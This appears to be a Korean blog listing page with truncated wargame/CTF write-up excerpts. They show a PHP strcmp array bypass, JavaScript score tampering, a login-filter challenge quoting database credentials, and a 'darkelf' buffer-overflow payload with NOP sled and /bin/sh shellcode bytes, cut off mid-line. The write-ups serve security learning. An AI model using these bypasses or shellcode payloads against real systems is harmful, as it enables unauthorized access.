목록문제풀이 (39)
ii4gsp
strcmp 함수를 우회 할 수 있다면 플래그를 얻는다고 한다. Start를 눌러주자 password 입력칸과 밑에 view-source가 있다. 소스코드를 보도록 하자 password : view-source /var/lib/dummy_file에서 password를 랜덤으로 가져오는데 입력값이 password와 같아야 한다. strcmp함수는 두 문자열이 같을 때 0을 반환한다. 하지만 strcmp 함수는 문자열과 배열을 비교했을때도 NULL을 반환한다. 즉, 0을 반환한다. 문자열과 배열을 비교하게되면 무조건 0을 반환한다. 아래와 같이 배열형태로 바꿔주면 무조건 0을 반환한다. 배열형태로 바꿔주고 아무 값이나 넣어주면 된다.
md5의 인자전달 방식을 보여준다. Start를 누르자 password 입력칸과 밑에 get source가 있다. 소스코드를 확인해보자
자바스크립트 게임이라고 한다. 자바스크립트를 이용하는 문제같다. Start를 눌러주자 CLICK TO START.를 눌러 게임을 하고 죽게되면 31337점을 얻어야한다고 한다. 게임을 직접해서 31337점을 얻기엔 너무 오래걸리고 애초에 31337점을 못얻는다. F12를 눌러 소스코드를 보자 난독화된 자바스크립트 코드가 있다. online javascript beautifier사이트에서 난독화를 풀어주자. 점수에 해당하는 변수를 31337로 변조하고 다시 게임을 플레이하면 된다.
계정이있는데 차단되었다고한다. 필터링을 우회하는 문제인것 같다. id입력칸과 pw입력칸이 있다. get source를 눌러 소스코드를 보자. ID PW get source php 소스코드와 아래 주석이 있다. guest / guest blueh4g / blueh4g1234ps 두개의 차단당한 계정을 가지고있다. mysql_connect("localhost","login_filtering","login_filtering_pz"); mysql_select_db ("login_filtering"); mysql_query("set names utf8"); 쿼리를 연결 시키는 코드이다. $key = auth_code("login filtering"); $id = mysql_real_escape_string(tri..
자바 스크립트 문제인것 같다. Start를 눌러주자 qr코드가 나온다 qr코드를 클릭하면 qr가 움직인다 qr코드를 직접 맞추는건 시간이 오래걸린다 F12를 눌러 소스코드를 보자. unescape('.%2f%69%6d%67%2f%71%72%2e%70%6e%67') 이라는 코드가 있다. .%2f%69%6d%67%2f%71%72%2e%70%6e%67 이 것을 unescape하면 해당 join_img의 주소가 나온다는 의미이다. console창에 복사해주면 ./img/qr.png라는 경로가 나온다 저 경로로 이동해주자. 완성된 qr코드가 나와있다. online qr decoder 사이트에서 경로를 복사해서 제출해주면 qr코드의 경로가 나온다. 경로를 복사해서 이동 해주면된다.
버튼을 클릭하라고 한다. 일단 Start를 눌러주자 click me!라는 버튼이있는데 마우스 커서와 위치가 맞지않아 클릭이 되지않는다. F12를 눌러 소스코드를 보면 ?key=85e4라는 경로로 이동한다. 현재 주소에서 ?key=85e4를 추가해주겠다.
HTTP 응답 헤더를 볼줄아냐고 물어본다. Start를 눌러주자 "you've already got key! :p"란 문자만 뜬다. F12를 눌러서 네트워크를 들어가주자 네트워크 창을열고 웹을 새로고침하면 flag가 나온다.
이전 문제에서 조건이 하나 추가되었다. argv[1]의 48번째 바이트가 \xbf가 아니라면 프로그램이 종료되고 argv[1]이 48이상이라도 프로그램이 종료된다. gdb로 열어서 strcpy() 함수 다음명령인 부분에 break point를 걸어주었다. argv[2]의 주소를 0xbffffc14로 잡아주고 페이로드는 (buffer + sfp + argv[2]) + (nop+ shellcode)가 된다. payload ./darkelf $(python -c 'print "\x90" * 44 + "\x14\xfc\xff\xbf"') $(python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x5..